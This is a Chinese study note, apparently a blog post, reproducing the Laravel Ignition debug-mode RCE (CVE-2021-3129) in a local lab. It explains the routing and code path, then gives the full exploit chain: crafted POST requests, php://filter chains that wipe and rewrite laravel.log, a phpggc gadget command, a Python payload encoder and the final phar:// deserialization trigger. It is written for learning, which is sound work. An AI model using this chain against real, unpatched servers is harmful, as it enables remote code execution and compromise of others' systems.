Laravel DEBUG模式 反序列化远程代码执行 POP链
前言:Laravel DEBUG模式 反序列化远程代码执行 POP链学习笔记
参考文章:https://www.ambionics.io/blog/laravel-debug-rce
参考文章:https://xz.aliyun.com/t/9165
参考文章:https://xz.aliyun.com/t/9030
环境搭建
影响版本:Ignition<2.5.2
D:\phpstudy_pro\WWW\laravel-CVE-2021-3129\resources\views\hello.blade.php,创建hello.balde.php,内容如下:
<html> <body><h1>hello, {{ $username }}</h1></body> </html>
访问路由配置:
D:\phpstudy_pro\WWW\laravel-CVE-2021-3129\routes\web.php,内容如下:
Route::get('/hello', function () { return view('hello'); });
访问URL:http://laravel.io/hello,返回内容如下
此时点击红框进行抓包,请求包如下:
POST /_ignition/execute-solution HTTP/1.1 Host: laravel.io Content-Length: 210 Accept: application/json Origin: http://laravel.io User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 Content-Type: application/json Referer: http://laravel.io/hello?username=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close {"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"D:\\phpstudy_pro\\WWW\\laravel-CVE-2021-3129\\resources\\views\\hello.blade.php"}}
漏洞分析
首先这里先说下为什么路由是_ignition/execute-solution
来进行访问的,我自己找了挺久的都没找到,最后来到vendor/facade/ignition/src/IgnitionServiceProvider.php,如下图所示,这里显示了相关的路由,我们可以通过对应的来进行调用方法
先看到漏洞点是来自vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php这个文件上,如下图所示:
这里发现run方法中的file_put_contents进行了相关文件操作,如果这里的$parameters['viewFile']可控的话,那么我们则可以进行phar反序列化的利用,那么继续看图中的makeOptional方法,想要让$output !== False,就需要看makeOptional方法是怎么运作的
可能自己在Windows上进行调试遇到的坑特别多,尤其是json格式的数据传输,它不会触发端点,还必须修改到url传参的格式才行,然后正斜杠也反斜杠也需要注意
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=username¶meters[viewFile]=phar://D:/phpstudy_pro/WWW/laravel-CVE-2021-3129/phar.log/test.txt
上面这种格式才会触发调试的端点,然后这里继续走,我们这里先分析正常的phar反序列化的触发
而这里想要调用到MakeViewVariableOptionalSolution这个类的话,那就需要看如下这个路由的调用过程
这里会发现这个post方法根本就没有写,那是怎么触发的,所以这里就需要进行动态调试观察了
这里还有个类名::class
,可以看到ExecuteSolutionController::class
这种写法,第一次见,查了资料,如下所示,也就是正常定义则返回类名的字符串,如果有定义命名空间,则前缀为命令空间\类名的的字符串
直接F7回来到如下,因为post方法本身不存在,就会调用父类的静态方法__callStatic,这个也是laravel框架的特色了,也是第一次见,第一个参数则是方法名字post,第二个则是传入的参数名,是一个数组,可能有多个
接着方法middleware就是正常的拼接字符串,合并merge到数组中
继续走
接着一直F8来到如下,到这里就开始处理前面接收的信息,开始调用相关的控制器和方法,到这里为止,上面的基本就全是在处理被要求的路由和相关要执行的控制器方法等操作,然后接着就对对应的控制器和方法进行处理,这里的控制器就是ExecuteSolutionController
开始调用ExecuteSolutionController的__invoke,因为被调用的函数不存在则就会调用__invoke
它还会判断当前要获取的solution类是否存在并且该类的名称中是否存在"Solution",但是幸运的是这里的MakeViewVariableOptionalSolution都是符合的
最后就成功的返回了MakeViewVariableOptionalSolution这个类的对象
接着开始调用$solution,也就是MakeViewVariableOptionalSolution的run方法
先是makeOptional方法,开始触发phar反序列化
整体的流程:ExecuteSolutionController->__invoke() -> ExecuteSolutionRequest -> getRunnableSolution() -> getSolution() -> MakeViewVariableOptionalSolution->run()
漏洞利用
第一种方式漏洞利用复现:
POST /_ignition/execute-solution HTTP/1.1 Host: laravel.io Content-Length: 202 Accept: application/json Origin: http://laravel.io User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 Content-Type: application/json Referer: http://laravel.io/hello Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close {"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"phar://D:\\phpstudy_pro\\WWW\\laravel-CVE-2021-3129\\phar.log\\test.txt"}}
可以看到这是一个phar反序列化的点,这样利用的话是有缺点的,需要前提条件了,需要我们有一个上传的点,所以参考文章作者还给了另外一个无条件的利用方式,但是DEBUG还是需要开启的
第二种方式漏洞利用复现:
当viewFile参数为任意填写的时候,可以观察到log文件的内容,路径为D:\phpstudy_pro\WWW\laravel-CVE-2021-3129\storage\logs\laravel.log
POST参数
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=username¶meters[viewFile]=AAAAAAAAAAAAAAAAAAAAA
log文件中的内容如下,那么如果这个log可控的话,让我们写成我们所需要phar内容则直接利用这个laravel自带的log文件进行远程代码执行了吗
那么如何可控呢?可以通过php://filter流,那么就需要有配合的函数file_put_contents,如下所示
如下流程:
清空laravel.log
方法是 utf-8 转 utf-16 再转 quoted-printable 最后把 utf-16 转 utf-8,完成上述操作后log中所有字符转为不可识别字符(对于Base64来说,因为Base64的算法是6个bit最多能表示 2^6=64),最后Base64decode就可以进行清空操作
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=D:\\phpstudy_pro\\WWW\\laravel-CVE-2021-3129\\storage\\logs\\laravel.log
给报错增加一个前缀
这个步骤自己也不太清楚,别人的描述如下:
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=AA
payload 需要经过base64->utf8.utf16le
这样的话才符合第4步的过程,不是payload的字符都会被清空,那么最终留下来的就是你的payload
我的payload生成如下:
sudo ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output
这里提供了一个脚本去实现utf-8转换为utf-16(相当于convert.iconv.utf-8.utf-16le),接着然后将空字节0x00
替换为=00
的效果(相当于convert.quoted-printable-decode)
from binascii import b2a_hex payload = "PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrZAgAAAgAAABEAAAABAAAAAACCAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo3OiJwaHBpbmZvIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6MTQ6ImNhbGxfdXNlcl9mdW5jIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NzoicGhwaW5mbyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX19BQAAAGR1bW15BAAAAJ2ih2AEAAAADH5/2KQBAAAAAAAACAAAAHRlc3QudHh0BAAAAJ2ih2AEAAAADH5/2KQBAAAAAAAAdGVzdHRlc3Qw4UQBi891gzDWE5xsElOdlgn7vAIAAABHQk1C" # base64 payload armedPayload = '' for i in payload: i = "="+b2a_hex(i.encode('utf-8')).decode('utf-8').upper() armedPayload += i+"=00" print("123456789012345"+armedPayload) # 前面加15个字符,对应坑1
这里为什么要有个"123456789012345",原因如下:
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=你编码过的payload
清空不相关的字符串和把被编码的payload进行解码
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=D:\\phpstudy_pro\\WWW\\laravel-CVE-2021-3129\\storage\\logs\\laravel.log
phar反序列化,触发
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=phar://D:\\phpstudy_pro\\WWW\\laravel-CVE-2021-3129\\storage\\logs\\laravel.log\\test.txt
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
· C++代码改造为UTF-8编码问题的总结
· DeepSeek 解答了困扰我五年的技术问题
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· Deepseek官网太卡,教你白嫖阿里云的Deepseek-R1满血版
· 2分钟学会 DeepSeek API,竟然比官方更好用!
· .NET 使用 DeepSeek R1 开发智能 AI 客户端
· DeepSeek本地性能调优
· 一文掌握DeepSeek本地部署+Page Assist浏览器插件+C#接口调用+局域网访问!全攻略